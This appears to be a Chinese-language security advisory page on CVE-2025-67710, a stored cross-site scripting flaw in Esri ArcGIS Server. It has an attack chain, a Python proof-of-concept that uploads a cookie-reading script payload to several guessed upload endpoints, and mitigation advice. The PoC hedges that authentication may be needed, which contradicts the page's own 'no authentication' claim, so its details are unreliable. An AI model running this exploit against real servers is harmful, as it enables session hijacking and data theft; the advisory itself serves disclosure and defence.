IPBUF安全漏洞报告
English
CVE-2025-67710 CVSS 6.1 中危

CVE-2025-67710: Esri ArcGIS Server 存储型XSS漏洞

披露日期: 2025-12-31

漏洞信息

漏洞编号
CVE-2025-67710
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Esri ArcGIS Server 11.4及更早版本

相关标签

CVE-2025-67710存储型XSS跨站脚本Esri ArcGIS ServerGIS平台文件上传漏洞中危漏洞无需认证Windows/Linux双平台Web应用安全

漏洞概述

CVE-2025-67710是Esri ArcGIS Server中发现的一个存储型跨站脚本漏洞。该漏洞影响版本11.4及更早版本,存在于Windows和Linux平台。在某些配置下,远程未认证攻击者可以利用此漏洞存储包含恶意代码的文件。当受害者访问这些文件时,恶意代码会在受害者的浏览器上下文中执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等安全风险。漏洞的CVSS评分为6.1,属于中等严重程度。攻击复杂度低,无需认证即可发起攻击,但需要用户交互才能触发。由于是存储型XSS,恶意脚本会持久存在于服务器上,影响所有访问该内容的用户。ArcGIS Server作为企业级地理信息系统平台,广泛应用于政府、能源、交通等行业,此漏洞可能对企业业务系统和数据安全造成严重影响。建议管理员尽快评估受影响范围并采取相应的修复措施。

技术细节

该漏洞是存储型跨站脚本(Stored XSS)漏洞,存在于Esri ArcGIS Server的文件上传和存储功能中。攻击者利用服务器对用户上传文件的验证不足,将包含恶意JavaScript代码的文件上传到服务器。由于这些文件被永久存储在服务器端,所有访问该文件的用户都会在浏览器中执行攻击者植入的恶意脚本。攻击向量为网络路径,攻击者可以构造特定的文件名或内容来绕过基本的安全过滤。恶意代码执行后可以窃取用户的会话Cookie、劫持用户操作、进行钓鱼攻击或植入进一步的攻击载荷。由于ArcGIS Server通常部署在企业内部网络且包含敏感地理数据,攻击成功可能导致严重的数据泄露风险。CVSS向量显示攻击复杂度低(AC:L),无需认证(PR:N),但需要用户交互(UI:R)来触发漏洞。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标ArcGIS Server版本,确认其为11.4或更早版本
STEP 2
2. 构造恶意文件
攻击者创建包含XSS payload的文件,如HTML文件或配置文件,payload为<script>alert(document.cookie)</script>
STEP 3
3. 文件上传
通过ArcGIS Server的文件上传接口(如/arcgis/rest/services/Upload)上传恶意文件,无需认证
STEP 4
4. 持久化存储
恶意文件被服务器存储,在特定配置下会持久存在于服务器端
STEP 5
5. 诱导访问
攻击者通过社会工程学手段诱导受害者访问包含恶意代码的文件URL
STEP 6
6. 代码执行
受害者在浏览器中打开文件时,恶意JavaScript代码在浏览器上下文中执行
STEP 7
7. 后续攻击
攻击者利用窃取的会话Cookie或其他敏感信息进行进一步的攻击,如横向移动或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-67710 PoC - Esri ArcGIS Server Stored XSS # Description: Stored XSS in Esri ArcGIS Server 11.4 and earlier # CVSS: 6.1 (MEDIUM) - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N import requests import urllib3 urllib3.disable_warnings() TARGET = "https://vulnerable-arcgis-server.com/arcgis" PAYLOAD = "<script>alert(document.cookie)</script>" def exploit_stored_xss(): """ Exploit for CVE-2025-67710: Stored XSS in Esri ArcGIS Server This PoC demonstrates uploading a file with malicious JavaScript content """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/octet-stream', } # Malicious file content containing XSS payload malicious_content = f''' <html> <body> <h1>Map Configuration File</h1> {PAYLOAD} <p>Please enable JavaScript to view this content.</p> </body> </html> ''' # Try to upload malicious file to ArcGIS Server upload_endpoints = [ f"{TARGET}/rest/services/Upload", f"{TARGET}/admin/uploads/upload", f"{TARGET}/server/uploads/upload", ] print(f"[*] Target: {TARGET}") print(f"[*] Payload: {PAYLOAD}") print(f"[*] Attempting to upload malicious file...") for endpoint in upload_endpoints: try: response = requests.post( endpoint, data=malicious_content.encode(), headers=headers, verify=False, timeout=30 ) if response.status_code in [200, 201, 202]: print(f"[+] Successfully uploaded to: {endpoint}") print(f"[+] Response: {response.text[:200]}") return True except requests.RequestException as e: print(f"[-] Failed to upload to {endpoint}: {e}") print("[*] Note: Actual exploitation may require specific authentication or configuration") print("[*] Please verify the target is running a vulnerable version (11.4 or earlier)") return False def check_version(): """Check ArcGIS Server version""" try: version_url = f"{TARGET}/server/sdk/rest/index.html" response = requests.get(version_url, verify=False, timeout=10) print(f"[*] Server responded with status: {response.status_code}") except: print("[*] Could not determine version") if __name__ == "__main__": print("="*60) print("CVE-2025-67710 PoC - Esri ArcGIS Server Stored XSS") print("="*60) check_version() exploit_stored_xss() print("\n[*] Mitigation: Upgrade to ArcGIS Server 11.4.1 or later")

影响范围

Esri ArcGIS Server 11.4 (Windows/Linux)
Esri ArcGIS Server 11.3 (Windows/Linux)
Esri ArcGIS Server 11.2 (Windows/Linux)
Esri ArcGIS Server 11.1 (Windows/Linux)
Esri ArcGIS Server 11.0 (Windows/Linux)
Esri ArcGIS Server 10.9.x (Windows/Linux)
Esri ArcGIS Server 10.8.x (Windows/Linux)
Esri ArcGIS Server <= 11.4的所有版本

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在Web服务器层面配置XSS过滤规则,对请求参数和上传文件内容进行消毒处理;2) 启用Content-Security-Policy响应头,限制脚本来源;3) 对文件上传目录实施严格的访问控制,限制哪些用户可以上传文件;4) 监控和限制文件上传接口的访问频率;5) 考虑临时禁用非必要的文件上传功能;6) 加强对用户的钓鱼攻击防范意识培训。但这些措施仅为临时解决方案,最终仍需升级到官方修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表